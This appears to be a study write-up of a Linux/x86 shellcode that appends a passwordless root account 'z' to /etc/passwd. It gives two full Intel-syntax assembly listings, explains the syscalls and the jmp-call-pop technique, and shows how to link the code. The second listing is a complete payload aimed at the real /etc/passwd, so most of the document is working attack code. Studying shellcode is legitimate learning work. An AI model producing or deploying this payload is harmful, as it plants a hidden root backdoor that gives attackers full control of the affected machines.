Linux/x86 - Add Root User (z) To /etc/passwd Shellcode (70 bytes)

reference Linux/x86 - Add Root User (z) To /etc/passwd Shellcode (70 bytes)

Convert the original shellcode to Intel flavor assembly:

shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
global _start

section .text
_start:
jmp short call_shellcode

shellcode:
pop esi
sub eax, eax
mov BYTE PTR [esi+0xb], al ; 0x0
mov ebx, esi ; pathname
mov cx, 0x401 ; flags, O_WRONLY | O_APPEND
mov dx, 0x1b6 ; mode, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, no need
mov al, 0x5 ; open
int 0x80

xchg ebx, eax ; fd
sub eax, eax
sub edx, edx
mov al, 0x4 ; write
mov ecx, esi
add cl, 0xc ; move to next string
mov dl, 0xa ; count
int 0x80

sub eax, eax
inc eax ; exit
int 0x80

call_shellcode:
call shellcode
passwd db "/etc/passwd", 0xff ; I will replace /etc/passwd with /etc/passww
newroot db "z::0:0:::", 0x0a

open:

open()
1
2
3
4
5
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags, mode_t mode);

open(2) flags O_WRONLY.
open(2) mode ISUSR.

man 2 open:

The mode argument specifies the file mode bits to be applied when a new file is created. If neither O_CREAT nor O_TMPFILE is specified in flags, then mode is ignored (and can thus be specified as 0, or simply omitted).

write:

write()
1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

exit:

exit()
1
2
3
#include <unistd.h>

void _exit(int status);

jmp-call-pop to get the address of the hardcoded strings:

But, if you run/debug the compiled shellcode, error will be raised:

.text is readonly:

Link with ld -N to make .text readable and writable:

1
ld -m elf_i386 -N ./shellcode.o -o shellcode

POC with /etc/passww (not /etc/passwd):

Here’s the modified version to get rid of updating .text section on the fly:

shellcode-2.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
global _start

section .text
_start:
jmp short call_shellcode

shellcode:
pop esi
sub eax, eax
mov ebx, esi
mov cx, 0x401 ; O_WRONLY | O_APPEND
mov al, 0x5
int 0x80

xchg ebx, eax
sub eax, eax
sub edx, edx
mov al, 0x4
mov ecx, esi
add cl, 0xc
mov dl, 0xa
int 0x80

xor eax, eax
mov al, 0x6 ; close
int 0x80

xor ebx, ebx ; status 0
mov al, 0x1 ; exit
int 0x80

call_shellcode:
call shellcode
passwd db "/etc/passwd", 0
newroot db "z::0:0:::", 0x0a